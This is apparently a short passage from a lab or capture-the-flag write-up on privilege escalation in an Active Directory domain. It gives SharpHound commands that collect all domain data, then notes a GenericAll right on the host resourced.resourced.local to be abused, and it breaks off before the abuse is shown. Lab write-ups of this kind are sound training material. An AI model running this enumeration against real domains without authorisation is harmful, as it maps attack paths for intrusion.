Privilege Escalation
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\L.Livingstone\Documents\ -OutputPrefix "sharpaudit"
use sharphound to collect the domain data. so we will analyze with bloodhound.
using bloodhound to enumerate the data coollected, we can see that the user has a Genericall
on resourced.resourced.local
. let’s abuse it.
